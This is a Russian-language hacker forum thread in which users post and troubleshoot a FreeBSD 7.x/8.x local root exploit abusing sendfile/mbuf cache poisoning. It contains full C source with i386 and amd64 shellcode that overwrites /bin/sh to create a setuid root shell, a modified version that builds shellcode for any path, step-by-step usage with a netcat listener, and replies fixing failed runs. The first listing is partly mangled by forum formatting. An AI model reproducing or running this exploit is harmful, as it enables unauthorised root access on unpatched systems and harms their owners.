Старый 23.08.2010, 22:17   #1
3x'e'orcist
 
Аватар для 3x'e'orcist
 
Регистрация: 12.08.2010
Сообщений: 10
Репутация: 2
По умолчанию FreeBSD 8.*, 7.* Local ‘root’ Exploit

PHP код:
/*
 freebsd mbufs() sendfile cache poisoning-priv escalation 
 x86/x64 local root xpl v2 by Kingcope
 2010
 --
 tested on: 8.1-RC1, 8.0-RELEASE, 7.3-RELEASE and
 7.2-RELEASE-p8 (xd personally did 7.2 test)
 poisons /bin/sh to contain shellcode which does this...
 '
 chmod a+s /tmp/sh
 chown root /tmp/sh
 execve /tmp/sh2
 '
 how to use ths is VERY important it is NOT your standard type,
 DONT start a listener as normal...let this do its shit..
 and then again, there is a MUCH simpler way you could redo
 this exploit but, thats for you to find ;) -xd
 
 box 1 (TARGET):
 $ cp /bin/sh /tmp/sh
 $ cp /bin/sh /tmp/sh2
 $ gcc cache.c -o cache
 
 box 2 (LISTENER):
 $ nc -l 7030
 
 on box 1 do:
 for i386 type:
 $ ./cache 1
 for amd64 type:
 $ ./cache 2
 
 ok now lets hope this worked and injected the shellcode,should,
 /bin/sh should be execed by the system as root in ~5 mins if lucky :)
 
NOW DO:
 $ /tmp/sh
AND cleanup:
 # cp -f /tmp/sh2 /bin/sh
 enjoy the root shell!
*/
 
// this juarez is now private on #darknet
// http://www.youtube.com/watch?v=JtgInqNNpCI
// http://www.youtube.com/watch?v=IdbRWrY4QBI
 
#include <sys/types.h> 
#include <sys/socket.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <strings.h>
#include <stdio.h> 
#include <string.h>
#include <err.h>
 
main (int argcchar *argv[]) {
  
int sfk2;
  
struct sockaddr_in addr;
  
int flags;
 
  
char str32[]=
  
"\x31\xc0\x6a\x00\x68\x70\x2f\x73\x68\x68\x2f\x2f\x74\x6d\x89\xe3"
  "\x50\x50\x53\xb0\x10\x50\xcd\x80\x68\xed\x0d\x00\x00\x53\xb0\x0f"
  "\x50\xcd\x80\x31\xc0\x6a\x00\x68\x2f\x73\x68\x32\x68\x2f\x74\x6d"
  "\x70\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"
;
 
  
char str64[]=
  
"\x48\x31\xc0\x99\xb0\x10\x48\xbf\xff\x2f\x74\x6d\x70\x2f\x73\x68"
  "\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05"
  "\xb0\x0f\x48\x31\xf6\x66\xbe\xed\x0d\x0f\x05\x48\x31\xc0\x99\xb0"
  "\x3b\x48\xbf\x2f\x74\x6d\x70\x2f\x73\x68\x32\x6a\x00\x57\x48\x89"
  "\xe7\x57\x52\x48\x89\xe6\x0f\x05"
;
 
  
char buf[10000];
  
char *p;
  
struct stat sb;
  
int n;
  
fd_set wset;   
  
int64_t size;  
  
off_t sbytes;  
  
off_t sent 0;
  
int chunk;   
  
int arch 3;
 
  if (
argc != 2) {
    
printf("[+] Define architecture i386 or amd64 (1/2)\n");
    return;
 
  }
 
  if (
strcmp(argv[1], "1") == 0)
  
arch=1;
  if (
strcmp(argv[1], "2") == 0)
  
arch=2;
 
  if (
arch == 3) {
    
printf("[+] Define architecture i386 or amd64 (1/2)\n");
    return;
  }
 
  
socket(AF_INETSOCK_STREAM0);
  
bzero(&addrsizeof(addr));
  
addr.sin_family AF_INET;  
  
addr.sin_port htons(7030);
  
addr.sin_addr.s_addr inet_addr("127.0.0.1");
  
connect(s, (struct sockaddr *)&addrsizeof (addr));
 
  if (
0)
  
warn ("[-] Failed to connect");
  
open("/bin/sh"O_RDONLY);
  if (
f<0)
  
warn("[-] Failed to open file");
  
fstat(f, &sb);
  if (
n<0)
  
warn("[-] fstat failed");
 
  
size sb.st_size;
  
chunk 0;
  
flags fcntl(fF_GETFL);
  
flags |= O_NONBLOCK;
  
fcntl(fF_SETFLflags);
  while (
size 0) {
    
FD_ZERO(&wset);  
    
FD_SET(s, &wset);
    
select(f+1NULL, &wsetNULLNULL);
    if (
0)
    continue;
      if (
chunk 0) {
      
sbytes 0;   
      if (
arch == 1)
      
sendfile(fs2048*2chunkNULL, &sbytes,0);
      if (
arch == 2)
      
sendfile(fs1204*6chunkNULL, &sbytes,0);
 
      if (
0)
      continue; 
      
chunk -= sbytes;
      
size -= sbytes
      
sent += sbytes
      continue;
    }
    
chunk 2048;
    
memset(buf'\0'sizeof buf);
    if (
arch == 1) {
      for (
k2=0;k2<256;k2++) {
        
buf[k2] = 0x90;
      }
      
buf;
      
k2;
      
memcpy(pstr32sizeof str32);
      
k2 sizeof str32;
      
buf;
    }
    if (
arch == 2) {
      for (
k2=0;k2<100;k2++) {
        
buf[k2] = 0x90;
      }
      
buf;
      
k2;
      
memcpy(pstr64sizeof str64);
      
k2 sizeof str64;
      
buf;
    }
    
write(spn);
  }

источник:
Код:
http://www.attackvector.org/freebsd-8-7-local-root-exploit/?utm_source=feedburner&utm_medium=twitter&utm_campaign=Feed%3A+attackvector+%28Attack+Vector%29
3x'e'orcist вне форума   Ответить с цитированием
Старый 09.10.2010, 14:38   #2
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

модификация от kfor, изменены шелкоды позволяющие запускать не из /tmp и указывать свой путь до sh
Код:
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <strings.h>
#include <stdio.h>
#include <string.h>
#include <err.h>

int sc32( char *, unsigned char * );
int sc64( char *, unsigned char * );
unsigned char str32[ 196 ];

main( int argc, char *argv[ ] )
{
    int s, f, k2, sizeof_str, flags, n, chunk, arch;
    struct sockaddr_in addr;
    char buf[ 10000 ], str[ 256 ], *p;
    struct stat sb;
    fd_set wset;
    int64_t size;
    off_t sbytes, sent = 0;

    if( argc != 3 )
    {
        printf( "\n\n                      Modificated exploit FreeBSD mbufs().\n\n             Special for Antichat community, by \033[5;30;41mkfor\033[0m & \033[32;1;4mlord Kelvin\033[0m.\n\n\n#######        This modification can use any directory provided.        ########\n#######             Just in case you don't have an rwx /tmp             ########\n\nExample & howto:\n(1) You must cp /bin/sh /home/test/sh and cp /bin/sh /home/test/si\n    (sh++ -> si)                                  don't change \"si\"!!\n(2) 1st terminal bash# nc -l 7030\n(3) 2nd terminal bash# ./exploit /home/test/sh\n(4) Waiting 5-10 min. Do ls -al /home/test/sh, if you see -r-sr-sr-x,\n      you're lucky:)\n(5) bash# /home/test/sh; id; -- You must see euid(0)\nUsage: ./exploit (i386|amd64) Directory1\n" );
        return;
    }

    if( strcmp( argv[ 1 ], "i386" ) == 0 )
    {
        sizeof_str = sc32( argv[ 2 ], str );
        arch = 1;
    }
    else if( strcmp( argv[ 1 ], "amd64" ) == 0 )
    {
        sizeof_str = sc64( argv[ 2 ], str );
        arch = 2;
    }
    else
    {
        printf( "define architecture i386 or amd64\n" );
        return;
    }

    s = socket( AF_INET, SOCK_STREAM, 0 );
    bzero( &addr, sizeof( addr ) );
    addr.sin_family = AF_INET;
    addr.sin_port = htons( 7030 );
    addr.sin_addr.s_addr = inet_addr( "127.0.0.1" );

    n = connect( s, ( struct sockaddr * )&addr, sizeof( addr ) );
    if( n < 0 )
        warn( "fail to connect" );

    f = open( "/bin/sh", O_RDONLY );
    if( f < 0 )
        warn( "fail to open file" );
    n = fstat( f, &sb );
    if( n < 0 )
        warn( "fstat failed" );

    size = sb.st_size;
    chunk = 0;

    flags = fcntl( f, F_GETFL );
    flags |= O_NONBLOCK;
    fcntl( f, F_SETFL, flags );

    while( size > 0 )
    {
        FD_ZERO( &wset );
        FD_SET( s, &wset );
        n = select( f + 1, NULL, &wset, NULL, NULL );
        if( n < 0 )
            continue;

        if( chunk > 0 )
        {
            sbytes = 0;
            if( arch == 1 )
                n = sendfile( f, s, 2048 * 2, chunk, NULL, &sbytes, 0 );
            else if( arch == 2 )
                n = sendfile( f, s, 1204 * 6, chunk, NULL, &sbytes, 0 );

//            n = sendfile( f, s, 3128 * arch + 968, chunk, NULL, &sbytes, 0 );

            if( n < 0 )
                continue;

            chunk -= sbytes;
            size -= sbytes;
            sent += sbytes;
            continue;
        }

        chunk = 2048;

        memset( buf, '\0', sizeof( buf ) );
        if( arch == 1 )
        {
            for( k2 = 0; k2 < 256; k2++ )
                buf[ k2 ] = 0x90;
        }
        else if( arch == 2 )
        {
            for( k2 = 0; k2 < 100; k2++ )
                buf[ k2 ] = 0x90;
        }
//        memset( buf, 0x90, 412 - 156 * arch );
        memcpy( buf + k2, str, sizeof_str );

        n = k2 + sizeof_str;
        p = buf;

        write( s, p, n );
    }
}

int sc32( char *s, unsigned char *c )
{
    int n = strlen( s ), i;
    char *p = c;
    switch( n & 3 )
    {
    case 0: case 1:
        *p++ = 0x6A;
        *p++ = s[ n & ~3 ];
        break;
    default:
        *p++ = 0x68;
        *p++ = s[ n & ~3 ];
        *p++ = s[ n & ~3 | 1 ];
        *p++ = s[ n & ~3 | 2 ];
        *p++ = 0;
    }
    for( i = n & ~3; i; i -= 4 )
    {
        *p++ = 0x68;
        *p++ = s[ i - 4 ];
        *p++ = s[ i - 3 ];
        *p++ = s[ i - 2 ];
        *p++ = s[ i - 1 ];
    }
    
    p = memcpy( p, "\x89\xE3\x31\xC0\x50\x50\x53\x50\xB0\x10\xCD\x80\x68\xED\x0D\x00\x00\x53\x50\xB0\x0F\xCD\x80\xFE\x43", 25 ) + 25;
    *p++ = n - 1;
    p = memcpy( p, "\x50\x54\x53\x50\xB0\x3B\xCD\x80", 8 ) + 8;
    return ( int )p - ( int )c;
}

int sc64( char *s, unsigned char *c )
{
    int n = strlen( s ), i, j;
    char *p = c;

    switch( n & 7 )
    {
    case 0: case 1:
        *p++ = 0x6A;
        *p++ = s[ n & ~7 ];
        break;
    case 2: case 3: case 4:
        *p++ = 0x68;
        *p++ = s[ n & ~7 ];
        *p++ = s[ n & ~7 | 1 ];
        *p++ = s[ n & ~7 | 2 ];
        *p++ = n & 4 ? s[ n & ~7 | 3 ] : 0;
        break;
    default:
        *p++ = 0x48;
        *p++ = 0xBF;
        for( i = 0; i < 8; i++ )
            *p++ = i < ( n & 7 ) ? s[ n & ~7 | i ] : 0;
        *p++ = 0x57;
    }
    for( i = n & ~7; i; i -= 8 )
    {
        *p++ = 0x48;
        *p++ = 0xBF;
    for( j = -8; j; j++ )
            *p++ = s[ i + j ];
        *p++ = 0x57;
    }

    p = memcpy( p, "\x6a\x10\x58\x99\x48\x89\xE7\x48\x31\xF6\x0F\x05\xB0\x0F\x68\xED\x0D\x00\x00\x5E\x0F\x05\xFE\x47", 24 ) + 24;
    *p++ = n - 1;
    p = memcpy( p, "\xB0\x38\x52\x48\x89\xE6\x0F\x05", 8 ) + 8;

    return ( int )p - ( int )c;
}
euro вне форума   Ответить с цитированием
Старый 14.12.2010, 22:39   #3
lukmus
 
Аватар для lukmus
 
Регистрация: 11.08.2010
Сообщений: 138
Репутация: 20
По умолчанию

беру модифицированный эксплойт и делаю так:
Код:
$ cp /bin/sh /home/kakoi-to/path/sh
$ cp /bin/sh /home/kakoi-to/path/si
$ ls -la
-r-xr-xr-x  1 u70171  u70171  134848 Dec 14 23:04 sh
-r-xr-xr-x  1 u70171  u70171  134848 Dec 14 23:05 si
открываю 2-й терминал и слушаю порт:
Код:
$ nc -l 7030
в первом терминале:
Код:
$ ./exploit amd64 sh
Сразу после запуска во втором терминале (там где слушаю порт) вылетает:
Код:
Q��Q�Q�Q!�Q"�Q$ �Q%(�Q&0�Q'8�Q(@�Q)H�Q*P�Q+X�Q.`�Q/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8
жду 5, 10, 15 минут и всегда одно и тоже.
в первом терминале
Код:
$ ls -la sh
-r-xr-xr-x  1 u70171  u70171  134848 Dec 14 23:04 sh
в чем моя ошибка?
__________________
Контактный XMPP: lukmus[собака]wallstreetjabber.biz
lukmus вне форума   Ответить с цитированием
Старый 15.12.2010, 17:44   #4
Acez666
 
Аватар для Acez666
 
Регистрация: 13.12.2010
Сообщений: 10
Репутация: 1
По умолчанию

Сервак пропатчен.
Acez666 вне форума   Ответить с цитированием
Старый 27.01.2011, 09:32   #5
kfor
 
Аватар для kfor
 
Регистрация: 27.01.2011
Сообщений: 119
Репутация: 39
По умолчанию

Цитата:
Сообщение от lukmus Посмотреть сообщение
беру модифицированный эксплойт и делаю так:
Код:
$ cp /bin/sh /home/kakoi-to/path/sh
$ cp /bin/sh /home/kakoi-to/path/si
$ ls -la
-r-xr-xr-x  1 u70171  u70171  134848 Dec 14 23:04 sh
-r-xr-xr-x  1 u70171  u70171  134848 Dec 14 23:05 si
открываю 2-й терминал и слушаю порт:
Код:
$ nc -l 7030
в первом терминале:
Код:
$ ./exploit amd64 sh
Сразу после запуска во втором терминале (там где слушаю порт) вылетает:
Код:
Q��Q�Q�Q!�Q"�Q$ �Q%(�Q&0�Q'8�Q(@�Q)H�Q*P�Q+X�Q.`�Q/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8�/h�Q1p�Q5x�Q6�Q9�Q;Qax�Qb�Qc�Qd��gH��56��%8
жду 5, 10, 15 минут и всегда одно и тоже.
в первом терминале
Код:
$ ls -la sh
-r-xr-xr-x  1 u70171  u70171  134848 Dec 14 23:04 sh
в чем моя ошибка?
В том что запускаешь неверно.
Надо так
$ ./exploit amd64 /home/kakoi-to/path/sh
kfor вне форума   Ответить с цитированием
Старый 27.01.2011, 11:26   #6
AloneKiller
 
Аватар для AloneKiller
 
Регистрация: 04.10.2010
Сообщений: 79
Репутация: 0
По умолчанию

ИМХО лучше компилировать суидник и юзать сплойт на него, чем на sh. Встречал такое, что sh не даёт прав в + при его chmod 7655 && chown 0:0, видимо защита какая-то в ОС.
AloneKiller вне форума   Ответить с цитированием
Старый 27.01.2011, 14:19   #7
kfor
 
Аватар для kfor
 
Регистрация: 27.01.2011
Сообщений: 119
Репутация: 39
По умолчанию

Цитата:
Сообщение от AloneKiller Посмотреть сообщение
ИМХО лучше компилировать суидник и юзать сплойт на него, чем на sh. Встречал такое, что sh не даёт прав в + при его chmod 7655 && chown 0:0, видимо защита какая-то в ОС.
Дело в том что он получает не UID = 0 , а euid = 0.
kfor вне форума   Ответить с цитированием
Старый 29.01.2011, 18:09   #8
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Цитата:
Сообщение от AloneKiller Посмотреть сообщение
ИМХО лучше компилировать суидник и юзать сплойт на него, чем на sh. Встречал такое, что sh не даёт прав в + при его chmod 7655 && chown 0:0, видимо защита какая-то в ОС.
Из мана bash:
Цитата:
-p Turn on privileged mode. In this mode, the $ENV and $BASH_ENV files are not processed, shell functions are not inherited from the
environment, and the SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored. If the
shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, these
actions are taken and the effective user id is set to the real user id. If the -p option is supplied at startup, the effective user
id is not reset. Turning this option off causes the effective user and group ids to be set to the real user and group ids.
tex вне форума   Ответить с цитированием
Старый 30.05.2011, 17:20   #9
python-ptrace
Banned
 
Регистрация: 07.07.2010
Сообщений: 16
Репутация: 14
По умолчанию

а если в первом терминале fail to connectermission denied, то никак? похоже, что фаер блокирует 7030 порт(
python-ptrace вне форума   Ответить с цитированием
Старый 30.05.2011, 17:24   #10
m0Hze
 
Аватар для m0Hze
 
Регистрация: 05.07.2010
Сообщений: 326
Репутация: 129
По умолчанию

Цитата:
Сообщение от M4g Посмотреть сообщение
а если в первом терминале fail to connectermission denied, то никак? похоже, что фаер блокирует 7030 порт(
Измени порт, в сорцах)
Код:
addr.sin_port = htons(7030);
__________________
multi-vpn.biz - Первый VPN на Эллиптических кривых со скоростью света.
m0Hze вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd. Перевод: zCarot